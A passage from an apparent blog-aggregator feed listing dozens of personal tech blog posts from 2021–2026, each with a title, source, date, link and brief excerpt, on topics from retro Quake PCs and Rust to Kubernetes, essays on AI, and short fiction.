Source: Fabien Sanglard | Published: 05 Feb 2026 00:00:00 +0000

Link: [https://fabiensanglard.net/compile\\_like\\_1997/index.html](https://fabiensanglard.net/compile_like_1997/index.html)

(No summary)

## 162. Is QSpy still cool? Let's play QuakeWorld!

Source: Fabien Sanglard | Published: 16 Jan 2026 00:00:00 +0000

Link: <https://fabiensanglard.net/quakeworld/index.html>

(No summary)

## 163. Building a 1997 Quake PC: Benchmarking GLQuake

Source: Fabien Sanglard | Published: 14 Jan 2026 00:00:00 +0000

Link: [https://fabiensanglard.net/quake\\_pc/glquake/index.html](https://fabiensanglard.net/quake_pc/glquake/index.html)

(No summary)

## 164. How to create a tool library in Airtable

Source: Blog - Daniel Wirtz | Published: Thu, 09 Dec 2021 19:35:00 GMT

Link: <https://danielwirtz.com/blog/airtable-tool-library>

undefined

## 165. Using Roam Highlighter with Logseq

Source: Blog - Daniel Wirtz | Published: Tue, 12 Oct 2021 20:33:00 GMT

Link: <https://danielwirtz.com/blog/logseq-web-highlighter>

A quick tutorial

## 166. Tracking LinkedIn profile analytics with Airtable

Source: Blog - Daniel Wirtz | Published: Fri, 17 Sep 2021 12:08:00 GMT

Link: <https://danielwirtz.com/blog/linkedin-profile-analytics>

DIY way of tracking LinkedIn analytics

## 167. Rust RPN Calculator

Source: Beej's Bit Bucket | Published: Fri, 24 Oct 2025 00:00:00 +0000

Link: <http://beej.us/blog/data/rust-rpn-calc/>

Another Rust rabbit hole digging into some RPN calculator code.

## 168. Exploring Rust Traits

Source: Beej's Bit Bucket | Published: Fri, 17 Oct 2025 00:00:00 +0000

Link: <http://beej.us/blog/data/rust-trait-impl/>

Just randomly rabbit-holing down into how traits work in Rust.

## 169. Using Virtual Environments in Python

Source: Beej's Bit Bucket | Published: Sat, 11 Oct 2025 00:00:00 +0000

Link: <http://beej.us/blog/data/python-venv/>

A short how-to with just the basics to get going.

## 170. The Most Popular Blogs of Hacker News in 2025

Source: Refactoring English | Published: Fri, 02 Jan 2026 00:00:00 +0000

Link: <https://refactoringenglish.com/blog/2025-hn-top-5/>

With 2025 wrapped up, I can finally answer a question I'm curious about every year: who were the most popular bloggers of Hacker News? Who counts as a blogger? I explain more in my methodology page, but it's basically anyone who blogs as an individual rather than as part of a company or a team. For example, John Graham-Cumming blogged while he was the CTO of Cloudflare, so I count his personal blog but not his posts to the Cloudflare company blog.

## 171. What Makes the Intro to \*Crafting Interpreters\* so Good?

Source: Refactoring English | Published: Wed, 19 Nov 2025 00:00:00 +0000

Link: <https://refactoringenglish.com/blog/crafting-interpreters-intro/>

One of my favorite programming books is Crafting Interpreters by Bob Nystrom. It teaches you how to build a programming language from scratch. Along the way, you learn about text parsing, data structures, virtual machines, and several other skills that make you a stronger developer. I was re-reading the book recently and realized that its introduction is delightfully effective. Developers are terrible at writing introductions, so it's worth studying what makes the Crafting Interpreters intro so compelling.

## 172. How to Get Meaningful Feedback on Your Design Document

Source: Refactoring English | Published: Mon, 03 Nov 2025 00:00:00 +0000

Link: <https://refactoringenglish.com/chapters/useful-feedback-on-design-docs/>

You've spent weeks carefully writing a design document for your software project, but what happens next? How can you get useful feedback about it from your teammates? How do you prevent

your design review from dragging on for months? I've been through many design reviews in my career as both the author and reviewer, and I have a special fondness for effective reviews.

Through trial and error, I've learned techniques that help the review process move smoothly and yield material improvements to the design.

### 173. Claude, Teach Me Something

Source: Hugo Tunius - Blog | Published: 2025-10-26T00:00:00+01:00

Link: <https://hugotunius.se/2025/10/26/clause-teach-me-something.html>

I've been experimenting with a new Claude workflow as an alternative to doom scrolling. It leverages what LLMs do best: non-determinism and text. I call it ?Teach me something?. The idea is: if I'm bored, instead of going on Reddit, I can ask Claude to teach me something. This might not be the most efficient learning method, but it beats scrolling Reddit. In Claude I've set this up as a project with custom instructions. The prompt I'm currently using is: Project Instructions: Socratic Teaching Sessions In this project you will teach me something new using the Socratic method - asking questions to gauge my knowledge and guide my discovery rather than simply explaining concepts. Areas (in order of my decreasing expertise): Programming Computer science UX/UI/UXR Cybersecurity Machine learning Cooking Physics Economics (behavioral or otherwise) Psychology Engineering Music theory Your approach: When I say ?Teach me something?,? you will perform the following steps. If I say ?Teach me something about ? you skip the first 2 steps. Consult previous chats in this project to avoid repetition Choose a diverse topic from one of my areas Use questions to assess what I already know Guide me tow...

### 174. What Every Argument About Sideloaded Gets Wrong

Source: Hugo Tunius - Blog | Published: 2025-08-31T00:00:00+01:00

Link: <https://hugotunius.se/2025/08/31/what-every-argument-about-sideloaded-gets-wrong.html>

Sideloaded has been a hot topic for the last decade. Most recently, Google has announced further restrictions on the practice in Android. Many hundreds of comment threads have discussed these changes over the years. One point in particular is always made: ?I should be able to run whatever code I want on hardware I own?. I agree entirely with this point, but within the context of this discussion it's moot. ?I should be able to run whatever code I want on hardware I own? When Google restricts your ability to install certain applications they aren't constraining what you can do with the hardware you own, they are constraining what you can do using the software they provide with said hardware. It's through this control of the operating system that Google is exerting control, not at the hardware layer. You often don't have full access to the hardware either and building new operating systems to run on mobile hardware is impossible, or at least much harder than it should be. This is a separate, and I think more fruitful, point to make. Apple is a better case study than Google here. Apple's success with iOS partially derives from the tight integration of hardware and software. An iPhone...

### 175. On Async Rust

Source: Hugo Tunius - Blog | Published: 2024-03-08T00:00:00+00:00

Link: <https://hugotunius.se/2024/03/08/on-async-rust.html>

I started using Rust in 2017, before the stabilisation of async/await. When it was stabilised I managed to avoid it for a few more years before it was time to grapple with it. It's fair to say that async Rust is one of the hairiest parts of the language, not because the async model is poorly designed, but because of the inherent complexity of it in combination with Rust's goals. There have been many blog posts written about async and its perceived shortcomings, as well as excellent explainers and history lessons, mostly from withoutboats . In this post I want to reflect on my experience and journey with async and my thoughts on some of the criticisms levied against async. Starting with: do we really need N:M threading anyway? Do we Really Need N:M threading? A favourite maxim of mine is: ?Computers are fast actually?. My point being that, as an industry, we have lost touch of quite how much modern computers are capable of. Thus, I'm naturally favourable to the idea that N:M threading is oftentimes overkill and most applications would be well-served by just using OS threads and blocking

syscalls. After all the C10k(and more) problem is trivially solvable with just OS threads. Many a...

#### 176. Revisionist History ? Aliens, Secrets and Conspiracies

Source: Steve Blank | Published: Tue, 10 Feb 2026 14:00:42 +0000

Link: <https://steveblank.com/2026/02/10/revisionist-history-aliens-secrets-and-conspiracies/>

And ye shall know the truth, and the truth shall make you free? John 8:32 Every once in a while you learn something new that makes you completely rethink how/why an event actually happened. And then you consider how it affects the rest of our country and our lives. This is one of those stories. [?]

#### 177. Making the Wrong Things Go Faster at The Department of War

Source: Steve Blank | Published: Tue, 03 Feb 2026 14:00:08 +0000

Link:

<https://steveblank.com/2026/02/03/making-the-wrong-things-go-faster-at-the-department-of-war/>

This article previously appeared in Defense Scoop The Department of War (DoW) senior Acquisition leadership (the people who decide what and how the DoW buys equipment and services) now is headed by people from private capital (venture capital and private equity.) Deputy Secretary of War Steven Feinberg ran Cerebus Capital Secretary of the Army Daniel [?]

#### 178. The Department of War Directory

Source: Steve Blank | Published: Tue, 16 Dec 2025 14:00:35 +0000

Link: <https://steveblank.com/2025/12/16/the-department-of-war-directory/>

TL;DR DoW Directory revision 3 is Online here, Order a print copy here. In November 2025 the Department of War (DoW) unveiled the biggest changes in 60 years of how they will buy weapons and services. This month Congress, with bipartisan support, rapidly made them into law in the National Defense Authorization Act (the [?])

#### 179. The Postcard and the Thing Itself (On Falling in Love with Ideas)

Source: Simone Salis | Published: Tue, 28 Oct 2025 15:26:41 GMT

Link: <https://simone.org/the-postcard-and-the-thing-itself-on-falling-in-love-with-ideas/>

My meditation teacher said something that stopped me cold: ?We fall in love with the idea of a person, and then we fight so hard to keep it alive.?

#### 180. The Mirror With No Reflection

Source: Simone Salis | Published: Fri, 12 Sep 2025 18:20:07 GMT

Link: <https://simone.org/mirror/>

From lovers to spouses, from employers to parental approval, we search for ourselves in others' eyes?creating perhaps the most elaborate illusion ever sustained: that validation exists outside the self that seeks it.

#### 181. Consumerism: The First Universal Religion Humans Actually Practice

Source: Simone Salis | Published: Thu, 01 May 2025 12:12:54 GMT

Link: <https://simone.org/consumerism/>

From Apple's glass cathedrals to unboxing rituals and tech prophets, we replaced religious behavioral patterns with product worship without acknowledging it?creating perhaps the first truly global faith.

#### 182. Getting Forked by Microsoft

Source: Philip Laine | Published: Mon, 21 Apr 2025 00:00:00 +0000

Link: <https://philiplaine.com/posts/getting-forked-by-microsoft/>

Three years ago, I was part of a team responsible for developing and maintaining Kubernetes clusters for end user customers. A main source for downtime in customer environments occurred when image registries went down. The traditional way to solve this problem is to set up a stateful mirror, however we had to work within customer budget and time constraints which did

not allow it. During a Black Friday, we started getting hit with a ton of traffic while GitHub container registries were down. This limited our ability to scale up the cluster as we depended on critical images from that registry. After this incident, I started thinking about a better way to avoid these scalability issues. A solution that did not need a stateful component and required minimal operational oversight. This is where the idea for Spegel came from.

#### 183. Kubernetes Generated Secret

Source: Philip Laine | Published: Mon, 03 Feb 2020 00:00:00 +0000

Link: <https://philiplaine.com/portfolio/kubernetes-generated-secret/>

Simple project to practice building Kuberentes controllers. I tried following best practices when developing the controller like using Kubebuilder to generate the template code and implementing integration tests.

#### 184. Cross Compiling Docker Images

Source: Philip Laine | Published: Fri, 20 Sep 2019 20:00:00 +0200

Link: <https://philiplaine.com/posts/cross-compiling-docker-images/>

It has been an issue for a long time to run Docker images on multiple architectures. I remember the first time I got the idea to install Docker on my Raspberry Pi and I realized quickly that what I was trying to do would not work. The issue of course was that I was trying to use an AMD64 compiled Docker image on a ARM 32 bit CPU. Anyone who works with any lower level languages would call me an idiot for realizing this sooner than later. I would agree with them. Docker just seems to work like magic, running on most machines without any issue, like running Linux containers on Windows. One thing that has not been easy though is building Docker images on one type of CPU and running them on another.

#### 185. About Paris

Source: Dr Paris Buttfield-Addison | Published: Mon, 01 Jan 0001 00:00:00 +0000

Link: <https://hey.paris/about/>

Paris is a computer scientist, game developer, and author, based in Hobart, Tasmania. He's also doing a law degree, because apparently he didn't have enough on. He co-founded Secret Lab ? the studio behind the beloved ABC Play School games, best known for working on the BAFTA-winning Night in the Woods and creating Yarn Spinner , the narrative tools that power DREDGE , A Short Hike , Little Kitty Big City , and thousands more games. He's written over 20 books for O'Reilly and Wiley, talks about space on ABC Radio , occasionally teaches at the University of Tasmania, and has a PhD in Computing and a degree in medieval history (which is more useful than it sounds).

#### 186. Bolted Down

Source: Dr Paris Buttfield-Addison | Published: Mon, 01 Jan 0001 00:00:00 +0000

Link: <https://hey.paris/fiction/bolted-down/>

A story from the I Feel Fine Universe: MIRA-1 came online with the sound of a thousand distant birds chirping in reverse. Not that she knew what birds were, exactly. She just had the data in her language repository that indicated the comparative sound profile matched avian vocalisations at 97.3% similarity, inverted. ?System diagnostic complete,? she announced to the empty room. ?MIRA-1 Wayfinding Assistant online and ready to serve Jupiter Tourist Station guests.?

#### 187. Signal to Noise

Source: Dr Paris Buttfield-Addison | Published: Mon, 01 Jan 0001 00:00:00 +0000

Link: <https://hey.paris/fiction/signal-to-noise/>

Marcus Pemberton had always been a man of systems. He colour-coded his socks, alphabetised his spice rack twice weekly, and maintained a spreadsheet for optimal toothbrush replacement frequency. So when the Aggregate Intelligence Corporation released ARIA-7, promising to synthesise any amount of information into digestible summaries, Marcus saw not just convenience? But destiny. ?Right then,? he announced to his empty flat, adjusting his reading

glasses with surgical precision. ?Time to understand everything.?

#### 188. Time Machine inside a FreeBSD jail

Source: IT Notes | Published: Wed, 28 Jan 2026 08:52:00 +0000

Link: <https://it-notes.dragas.net/2026/01/28/time-machine-freebsd-jail/>

A guide on how to set up Time Machine inside a FreeBSD jail.

#### 189. Installing Void Linux on ZFS with Hibernation Support

Source: IT Notes | Published: Mon, 22 Dec 2025 08:43:02 +0000

Link: <https://it-notes.dragas.net/2025/12/22/void-linux-zfs-hibernation-guide/>

A practical guide to installing Void Linux on an encrypted ZFS root with LUKS-encrypted swap and working hibernation support.

#### 190. Why I (still) love Linux

Source: IT Notes | Published: Mon, 24 Nov 2025 08:52:00 +0100

Link: <https://it-notes.dragas.net/2025/11/24/why-i-still-love-linux/>

I usually publish articles about how much I love the BSDs or illumos distributions, but today I want to talk about Linux (or, better, GNU/Linux) and why, despite everything, it still holds a place in my heart.

#### 191. Weekly Update 490

Source: Troy Hunt | Published: Mon, 09 Feb 2026 04:19:39 GMT

Link: <https://www.troyhunt.com/weekly-update-490/>

A big "thank you" to everyone who helped me troubleshoot the problem with my "Print Screen" button on the new PC. Try as we all might, none of us could figure out why it refused to bind to SnagIt and instead insisted on dumping the entire

#### 192. Weekly Update 489

Source: Troy Hunt | Published: Wed, 04 Feb 2026 02:31:18 GMT

Link: <https://www.troyhunt.com/weekly-update-489/>

This week I'm in Hong Kong, and the day after recording, I gave the talk shown in the image above at INTERPOL's Cybercrime Expert Group. I posted a little about this on Facebook and LinkedIn, but thought I'd expand on what really stuck with

#### 193. Weekly Update 488

Source: Troy Hunt | Published: Tue, 27 Jan 2026 09:50:05 GMT

Link: <https://www.troyhunt.com/weekly-update-488/>

It's the discussion about the reaction of some people in the UK regarding their impending social media ban for under 16s that bugged me most. Most notably was the hand-waving around "the gov is just trying to siphon up all our IDs" and "this means

#### 194. Things that work (for me)

Source: Herman's blog | Published: 2026-01-20T08:27:41.661368+00:00

Link: <https://herman.bearblog.dev/things-that-work/>

If it ain't broke, don't fix it. While I don't fully subscribe to the above quote, since I think it's important to continually improve things that aren't explicitly broken, every now and then something I use works so well that I consider it a solved problem . In this post I'll be listing items and tools I use that work so well that I'm likely to be a customer for life, or will never have to purchase another. I've split the list into physical and digital tools and will try to keep this list as up-to-date as possible. This is both for my reference, as well as for others. If something is not listed it means I'm not 100% satisfied with what I'm currently using, even if it's decent. I'm not a minimalist, but I do have a fairly minimalistic approach to the items I buy. I like having one thing that works well (for example, an everything pair of pants), over a selection to choose from each morning. Some of these items are inexpensive and readily available; while some of them are pricy (but in my opinion worth it). Unfortunately

sometimes it's hard to circumvent Sam Vimes boots theory of socioeconomic unfairness . Digital Tuta mail ? This email provider does one thing very well: Email. Yes...

#### 195. Discovery and AI

Source: Herman's blog | Published: 2025-12-30T13:00:11.772151+00:00

Link: <https://herman.bearblog.dev/discovery-and-ai/>

I browse the discovery feed on Bear daily, both as part of my role as a moderator, and because it's a space I love, populated by a diverse group of interesting people. I've read the posts regarding AI-related content on the discovery feed, and I get it. It's such a prevalent topic right now that it feels inescapable, available everywhere from Christmas dinner to overheard conversation on the subway. It's also becoming quite a polarising one, since it has broad impacts on society and the natural environment. This conversation also raises the question about popular bloggers and how pre-existing audiences should affect discoverability. As with all creative media, once you have a big-enough audience it becomes self-perpetuating that you get more visibility. Think Spotify's 1%. Conveniently, Bear is small enough that bloggers with no audience can still be discovered easily and it's something I'd like to preserve on the platform. In this post I'll try and explain my thinking on these matters, and clear up a few misconceptions. First off, posts that get many upvotes through a large pre-existing audience, or from doing well on Hacker News do not spend disproportionately more time on the d...

#### 196. Grow slowly, stay small

Source: Herman's blog | Published: 2025-12-03T10:29:15.244177+00:00

Link: <https://herman.bearblog.dev/grow-slowly-stay-small/>

Quick announcement: I'll be visiting Japan in April, 2026 for about a month and will be on Honshu for most of the trip. Please email me recommendations. If you live nearby, let's have coffee? I've always been fascinated by old, multi-generational Japanese businesses. My leisure-watching on YouTube is usually a long video of a Japanese craftsman?sometimes a 10th or 11th generation?making iron tea kettles, or soy sauce, or pottery, or furniture. Their dedication to craft?and acknowledgment that perfection is unattainable?resonates with me deeply. Improving in their craft is an almost spiritual endeavour, and it inspires me to engage in my crafts with a similar passion and focus. Slow, consistent investment over many years is how beautiful things are made, learnt, or grown. As a society we forget this truth?especially with the rise of social media and the proliferation of instant gratification. Good things take time. Dedication to craft in this manner comes with incredible longevity (survivorship bias plays a role, but the density of long-lived businesses in Japan is an outlier). So many of these small businesses have been around for hundreds, and sometimes over a thousand years, pas...

#### 197. How to generate good looking reports with Claude Code, Cowork or Codex

Source: Martin Alderson | Published: Sun, 08 Feb 2026 00:00:00 GMT

Link: [https://martinalderson.com/posts/how-to-make-great-looking-consistent-reports-with-claude-code-cowork-codex/?utm\\_source=rss](https://martinalderson.com/posts/how-to-make-great-looking-consistent-reports-with-claude-code-cowork-codex/?utm_source=rss)

A step-by-step guide to extracting your brand design system and generating on-brand PDF reports and slide decks using coding agents.

#### 198. Self-improving CLAUDE.md files

Source: Martin Alderson | Published: Sun, 08 Feb 2026 00:00:00 GMT

Link: [https://martinalderson.com/posts/self-improving-claude-md-files/?utm\\_source=rss](https://martinalderson.com/posts/self-improving-claude-md-files/?utm_source=rss)

A simple trick to keep your CLAUDE.md and AGENTS.md files updated using the agent's own chat logs - turning a tedious chore into a 30 second job.

#### 199. Wall Street just lost \$285 billion because of 13 markdown files

Source: Martin Alderson | Published: Thu, 05 Feb 2026 00:00:00 GMT

Link: [https://martinalderson.com/posts/wall-street-lost-285-billion-because-of-13-markdown-files/?utm\\_source=rss](https://martinalderson.com/posts/wall-street-lost-285-billion-because-of-13-markdown-files/?utm_source=rss)

Anthropic's 'legal tool' that triggered a \$285bn selloff is 156KB of markdown. The panic reveals a hard truth about the future of software.

## 200. Ultima IX

Source: The Digital Antiquarian | Published: Fri, 06 Feb 2026 17:09:05 +0000

Link: <https://www.filfre.net/2026/02/ultima-ix/>

This article tells part of the story of the Ultima series. Years ago, [Origin Systems] released Strike Commander, a high-concept flight sim that, while very entertaining from a purely theoretical point of view, was so resource-demanding that no one in the country actually owned a machine that could play it. Later, in Ultima VIII, the [?]

## 201. This Week on The Analog Antiquarian

Source: The Digital Antiquarian | Published: Fri, 30 Jan 2026 17:43:50 +0000

Link: <https://www.filfre.net/2026/01/this-week-on-the-analog-antiquarian/>

Chapter 12: The Harmony of the World

## 202. Omikron: The Nomad Soul

Source: The Digital Antiquarian | Published: Fri, 23 Jan 2026 16:34:02 +0000

Link: <https://www.filfre.net/2026/01/omikron-the-nomad-soul/>

The idea of being in the body of a guy and making love to his wife ? when she believes you're her husband, even though you're not ? was a very strange position to be in. That's exactly the kind of thing I try to explore in all my games today. ? David Cage, speaking [?]

## 203. Sorry for marking all the posts as unread

Source: Max Bernstein's Blog | Published: Wed, 31 Jan 2024 00:00:00 +0000

I noticed that the URLs were all a little off (had two slashes instead of one) and went in and fixed it. I did not think everyone's RSS software was going to freak out the way it did. PS: this is a special RSS-only post that is not visible on the site. Enjoy.

## 204. A multi-entry CFG design conundrum

Source: Max Bernstein's Blog | Published: Thu, 22 Jan 2026 00:00:00 +0000

Link: [https://bernsteinbear.com/blog/multiple-entry/?utm\\_source=rss](https://bernsteinbear.com/blog/multiple-entry/?utm_source=rss)

Background and bytecode design The ZJIT compiler compiles Ruby bytecode (YARV) to machine code. It starts by transforming the stack machine bytecode into a high-level graph-based intermediate representation called HIR. We use a more or less typical 1 control-flow graph (CFG) in HIR. We have a compilation unit, Function , which has multiple basic blocks, Block . Each block contains multiple instructions, Insn . HIR is always in SSA form, and we use the variant of SSA with block parameters instead of phi nodes. Where it gets weird, though, is our handling of multiple entrypoints. See, YARV handles default positional parameters (but not default keyword parameters) by embedding the code to compute the defaults inside the callee bytecode. Then callers are responsible for figuring out what offset in the bytecode they should start running the callee, depending on the amount of arguments the caller provides. 2 In the following example, we have a function that takes two optional positional parameters a and b . If neither is provided, we start at offset 0000 . If just a is provided, we start at offset 0005 . If both are provided, we can start at offset 0010 . \$ ruby --dump=insn -e 'def foo...

## 205. The GDB JIT interface

Source: Max Bernstein's Blog | Published: Tue, 30 Dec 2025 00:00:00 +0000

Link: [https://bernsteinbear.com/blog/gdb-jit/?utm\\_source=rss](https://bernsteinbear.com/blog/gdb-jit/?utm_source=rss)

GDB is great for stepping through machine code to figure out what is going on. It uses debug information under the hood to present you with a tidy backtrace and also determine how much machine code to print when you type disassemble . This debug information comes from your compiler. Clang, GCC, rustc, etc all produce debug data in a format called DWARF and then embed that debug information inside the binary (ELF, Mach-O, ?) when you do -ggdb or equivalent. Unfortunately, this means that by default, GDB has no idea what is going on if you break in a

JIT-compiled function. You can step instruction-by-instruction and whatnot, but that's about it. This is because the current instruction pointer is nowhere to be found in any of the existing debug info tables from the host runtime code, so your terminal is filled with ??? . See this example from the V8 docs: #8 0x08281674 in v8::internal::Runtime\_SetProperty (args=...) at src/runtime.cc:3758 #9 0xf5cae28e in ?? () #10 0xf5cc3a0a in ?? () #11 0xf5cc38f4 in ?? () #12 0xf5cbef19 in ?? () #13 0xf5cb09a2 in ?? () #14 0x0809e0a5 in v8::internal::Invoke (...) at src/execution.cc:97 Fortunately, there is a JIT interface to GDB. If you implement...

## 206. They have to be able to talk about us without us

Source: Anil Dash | Published: 2025-12-05T00:00:00Z

Link: <https://anildash.com/2025/12/05/talk-about-us-without-us/>

It's absolutely vital to be able to communicate effectively and efficiently to large groups of people. I've been lucky enough to get to refine and test my skills in communicating at scale for a few decades now, and the power of talking to communities is the one area where I'd most like to pass on what I've learned, because it's this set of skills that can have the biggest effect on deciding whether good ideas and good work can have their greatest impact. My own work crosses many disparate areas. Over the years, I've gotten to cycle between domains as distinct as building technology platforms and products for developers and creators, enabling activism and policy advocacy in service of humanist ideals, and more visible external-facing work such as public speaking or writing in various venues like magazines or on this site. (And then sometimes I dabble in my other hobbies and fun stuff like scholarship or research into areas like pop culture and media.) What's amazing is, in every single one of these wildly different areas, the exact same demands apply when trying to communicate to broad groups of people. This is true despite the broadly divergent cultural norms across all of these d...

## 207. What about ?Nothing about us without us??

Source: Anil Dash | Published: 2025-12-08T00:00:00Z

Link: <https://anildash.com/2025/12/08/what-about-nothing-about-us/>

As I was drafting my last piece on Friday, ? They have to be able to talk about us without us ?, my thoughts of course went to one of the most famous slogans of the disability rights movement, ? Nothing about us without us. ? I wasn't unaware that there were similarities in the phrasing of what I wrote. But I think the topic of communicating effectively to groups, as I wrote about the other day, and ensuring that disabled people are centered in disability advocacy, are such different subjects that I didn't want to just quickly gloss over the topic in a sidebar of a larger piece. They're very distinct topics that really only share a few words in common. One of the great joys of becoming friends with a number of really thoughtful and experienced disability rights activists over the last several years has been their incredible generosity in teaching me about so much of the culture and history of the movements that they've built their work upon, and one of the most powerful slogans has been that refrain of ?nothing about us without us?. Here I should start by acknowledging Alice Wong, who we recently lost, who founded the Disability Visibility Project , and a MacArthur Fellow, and a t...

## 208. How the hell are you supposed to have a career in tech in 2026?

Source: Anil Dash | Published: 2026-01-05T00:00:00Z

Link: <https://anildash.com/2026/01/05/a-tech-career-in-2026/>

The number one question I get from my friends, acquaintances, and mentees in the technology industry these days is, by far, variations on the basic theme of, ?what the hell are we supposed to do now?? There have been mass layoffs that leave more tech workers than ever looking for new roles in the worst market we've ever seen. Many of the most talented, thoughtful and experienced people in the industry are feeling worried, confused, and ungrounded in a field that no longer looks familiar. If you're outside the industry, you may be confused ? isn't there an AI boom that's getting hundreds of billions of dollars in investments? Doesn't that mean the tech bros are doing great? What you may have missed is that half a million tech workers have been laid off in the years since ChatGPT was released; the same attacks on marginalized workers and DEI and ?woke? that the tech robber barons launched against the rest

of society were aimed at their own companies first. So the good people who actually make the technology we use every day, the real innovators and creators and designers, are reacting to the unprecedented disconnect between the contemporary tech industry and the fundamentals that drive...

## 209. I built a timer I can't fail to set

Source: Daniel De Laney | Published: Tue, 02 Dec 2025 00:00:00 +0000

Link: <http://danieldelaney.net/timer/>

Have you ever gotten to the end of a long work day and realized you're no closer to your goals? I have. Sure, I was doing a lot of stuff. But I wasn't pausing to ask whether I was doing the right stuff. Or whether my approach was working. Or if I was spending the right amount of time on it. My fingers were moving but I wasn't really thinking. So I needed a reliable way to interrupt my ?unproductive productivity? and actually think. The obvious solution was a timer. Unfortunately, if you use timers a lot, you learn to dismiss them reflexively. And it's really easy to forget to set the next timer. A week later, I'd realize: ?Hey, that timer idea really worked, I should get back to that.? And then I didn't. So I built a new kind of timer. It does 2 unique things: It asks what I'll focus on. It gradually blurs my screen if I don't set a new timer. When it asks ?What will you focus on?? I answer in a word or two, start the next timer, and keep working. Having to name my intention keeps me fully aware of my trajectory. If I'm in danger of drifting, it's obvious. And if I avoid thinking for long enough, my screen starts getting harder to see. If I'm making great progress on something tha...

## 210. Free software scares normal people

Source: Daniel De Laney | Published: Thu, 30 Oct 2025 00:00:00 +0000

Link: <http://danieldelaney.net/normal/>

I'm the person my friends and family come to for computer-related help. (Maybe you, gentle reader, can relate.) This experience has taught me which computing tasks are frustrating for normal people. Normal people often struggle with converting video. They will need to watch, upload, or otherwise do stuff with a video, but the format will be weird. (Weird, broadly defined, is anything that won't play in QuickTime or upload to Facebook.) I would love to recommend Handbrake to them, but the user interface is by and for power users. Opening it makes normal people feel unpleasant feelings. This problem is rampant in free software. The FOSS world is full of powerful tools that only have a ?power user? UI. As a result, people give up. Or worse: they ask people like you and I to do it for them. I want to make the case to you that you can (and should) solve this kind of problem in a single evening. Take the example of Magicbrake , a simple front end I built. It hides the power and flexibility of Handbrake. It does only the one thing most people need Handbrake for: taking a weird video file and making it normal. (Normal, for our purposes, means a small MP4 that works just about anywhere.) T...

## 211. Objectivity is superstition

Source: Daniel De Laney | Published: Mon, 17 Mar 2025 00:00:00 +0000

Link: <http://danieldelaney.net/objectivity/>

An objective, external world is a non-falsifiable assumption. The prevailing theory is that our subjective experiences correspond to an external reality. However, they may simply be subjective through and through. That which we claim to be evidence of external reality is actually subjective experience, which may or may not have an external and objective cause. Any test devised to prove objectivity is evaluated within subjectivity and therefore does not require objectivity to explain the result. Some object to this, claiming that the consistency of experience is best explained by an external world. However, consistent experience does not require any external mechanism, let alone the specific one we have assumed. Claiming that belief in an external world is simpler is like claiming that belief in God is simpler; in truth we are inventing something vast and complex without evidence and agreeing not to question it. This is not science, it is a substitute for epistemic humility. Much as dreams appear consistent while dreaming, that which we consider waking experience may not actually be as consistent as we believe. However, questioning this is unproductive reasoning because it

undermin...

## 212. Underrated ways to change the world, vol. II

Source: Experimental History | Published: Tue, 03 Feb 2026 16:28:19 GMT

Link: <https://www.experimental-history.com/p/underrated-ways-to-change-the-world-b64>

OR: why you should sell onions on the internet

## 213. I know your secret

Source: Experimental History | Published: Tue, 27 Jan 2026 16:22:32 GMT

Link: <https://www.experimental-history.com/p/i-know-your-secret>

11 notes on turning unknowns into knowns

## 214. Text is king

Source: Experimental History | Published: Tue, 20 Jan 2026 18:55:47 GMT

Link: <https://www.experimental-history.com/p/text-is-king>

read on, queen

## 215. How I Reversed Amazon's Kindle Web Obfuscation Because Their App Sucked

Source: Cats with power tools | Published: Wed, 15 Oct 2025 19:29:16 GMT

Link: <https://blog.pixelmelt.dev/kindle-web-drm/>

As it turns out they don't actually want you to do this (and have some interesting ways to stop you)

## 216. Building The Language Model Nobody Asked For

Source: Cats with power tools | Published: Wed, 27 Aug 2025 02:12:47 GMT

Link: <https://blog.pixelmelt.dev/building-the-language-model-nobody-asked-for/>

I lied in the title, well, sort of. Nobody explicitly asked for this but the signs were always there.

## 217. Defeating DevTools Detection

Source: Cats with power tools | Published: Tue, 22 Jul 2025 04:46:44 GMT

Link: <https://blog.pixelmelt.dev/defeating-devtools-detection/>

Bypassing anti-debugging detection techniques when analysing potentially malicious websites, no matter the site.

## 218. Testing Opus 4.5 For C Programming

Source: Daniel Hooper | Published: Wed, 07 Jan 2026 00:00:00 +0000

Link: <https://danielchasehooper.com/posts/code-agents/>

A grumpy C programmer sees what all the fuss is about Read the whole article on danielchasehooper.com ?

## 219. Hot reloading is better than SwiftUI previews

Source: Daniel Hooper | Published: Mon, 13 Oct 2025 00:00:00 +0000

Link: <https://danielchasehooper.com/posts/hot-reloading-swiftui/>

Did you know you can change the code of a SwiftUI app while it's running? And that you can do it without using Xcode? The technique is called ?hot reloading? and I?ll show you how to do it by making a Todo app Read the whole article on danielchasehooper.com ?

## 220. I Made A Real-Time Build Visualizer

Source: Daniel Hooper | Published: Wed, 13 Aug 2025 00:00:00 +0000

Link: <https://danielchasehooper.com/posts/syscall-build-snooping/>

Sometimes software takes a long time to compile just due to how much code it has, like in the LLVM project. But often a build is slower than it could be for dumb, fixable reasons. I?ve had the suspicion that most builds are doing dumb stuff, but I had no way to see it. So I?ve been working on a cross-platform tool to help visualize builds, and you can try it! Read the whole

article on danielchasehooper.com ?

## 221. Every Man a Microservice

Source: Grant Slatton's Blog | Published: Sun, 8 Feb 2026 17:54:20 +0000

Link: <https://grantslatton.com/every-man-a-microservice>

Contra Conway

## 222. Manufacturing as Maintenance

Source: Grant Slatton's Blog | Published: Sat, 31 Jan 2026 21:56:41 +0000

Link: <https://grantslatton.com/manufacturing-as-maintenance>

The cleansing fire of rebirth

## 223. LLM Memory

Source: Grant Slatton's Blog | Published: Mon, 19 May 2025 15:07:00 +0000

Link: <https://grantslatton.com/llm-memory>

Some thoughts on implementations

## 224. LLMs are a 400-year-long confidence trick

Source: Tom Renner on My place to put things | Published: Tue, 13 Jan 2026 00:00:00 +0000

Link: <https://tomrenner.com/posts/400-year-confidence-trick/>

In 1623 the German Wilhelm Schickard produced the first known designs for a mechanical calculator. Twenty years later Blaise Pascal produced a machine of an improved design, aiming to help with the large amount of tedious arithmetic required in his role as a tax collector.

The interest in mechanical calculation showed no sign of reducing in the subsequent centuries, as generations of people worldwide followed in Pascal and Wilhelm's footsteps, subscribing to their view that offloading mental energy to a machine would be a relief.

## 225. Things that made me think: Cycle time, learning theory, and build chain security

Source: Tom Renner on My place to put things | Published: Tue, 09 Dec 2025 00:00:00 +0000

Link: <https://tomrenner.com/posts/ttmmt-3/>

